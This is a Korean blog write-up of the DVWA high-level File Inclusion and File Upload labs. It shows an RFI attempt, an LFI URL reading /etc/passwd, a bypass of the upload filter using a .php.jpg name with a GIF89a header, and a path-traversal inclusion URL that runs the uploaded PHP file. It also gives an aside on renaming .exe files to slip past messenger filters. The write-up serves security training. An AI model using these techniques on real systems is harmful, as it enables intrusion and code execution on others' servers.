InfoSec / / 2024. 9. 13. 11:35

DVWA - File Inclusion + File Upload (High Level)

File Inclusion (High Level)

소스 분석

High Level의 소스 코드

 

High Level의 소스코드는 파일 이름이 file*(file로 시작하는 이름)이거나

include.php이어야 파일을 열 수 있으며

파일의 이름이 다른 경우에는 에러 메시지가 출력됩니다.

 

 

 공략 과정

1. RFI Attack

 

http://192.168.5.126/dvwa/vulnerabilities/fi/?page=http://192.168.5.216/include.php

=> 다음과 같이 RFI 공격을 실행하면 에러가 메시지가 출력됩니다.

     파일 이름이 file로 시작하거나 include.php로 정확히 일치하지 않으면

     RFI 공격이 불가능합니다.

 

 

2. LFI Attack

 

http://192.168.5.126/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

  => 다음과 같이 공격하면 주소가 file로 시작하므로 공격이 가능합니다.

 

 

이와같은 성질을 이용하여

File Inclusion과 File Upload를 연계하여 원하는 파일을 실행하도록

공격할 수 있습니다.

 

 

File Upload (High Level)

 소스코드 분석

File Upload (High Level)중에서 파일의 유효성을 확인하는 코드

 

jpg 혹은 jpeg 혹은 png 파일만 전송할 수 있으며,

사이즈는 100000byte 미만이어야 하며,

이미지의 크기를 불러올 수 있는 형식이어야 합니다.

 

공격용 파일을 그대로 전송하려고 하면 실패 메시지가 표시됩니다.

조건에 맞는 방법으로 전송하도록 우회를 해주어야 성공적으로 파일을 전송할 수 있습니다.

 

 

ex) 카카오톡으로 exe파일 전송하기

보안을 중요하시하는 대부분의 프로그램에서는 exe파일의 전송을 막아놓았습니다(랜섬웨어 방지)

하지만 파일의 확장자를 바꾸어주면 전송할 수 있습니다.

 

DVWA 문제에서도 같은 방법으로 공략할 수 있습니다.

 

 

 공략 과정

1. 전송 패킷을 Burp Suite로 잡은 후 확장자 변경

 

hahaha.php 파일을 hahaha.php.jpg로 확장자를 변경하여 전송해봤으나

업로드에 실패하였습니다.

 

 

2. 이미지 크기를 불러올수 있게 하기 위해 GIF89a 문구 삽입

 

hahaha.php 파일을 hahaha.php.jpg로 변경하고

파일 내용에 GIF89a 문구를 추가하여 전송하도록 변경하자

전송에 성공함을 확인하였습니다.

 

 

 

이제 이렇게 업로드한 파일을 File Inclusion으로 불러오면 공략에 성공합니다.

 

 

 File Inclusion으로 불러오기

../../hackable/uploads/hahaha.php.jpg

위치에 저장된 것을 확인했으므로

 

File Inclusion으로 해당 파일을 불러와 공격을 진행할 수 있습니다.

 

http://192.168.5.126/dvwa/vulnerabilities/fi/?page=file/../../../hackable/uploads/hahaha.php.jpg

 

공격에 성공한 화면

 

 

  • 네이버 블로그 공유
  • 네이버 밴드 공유
  • 페이스북 공유
  • 카카오스토리 공유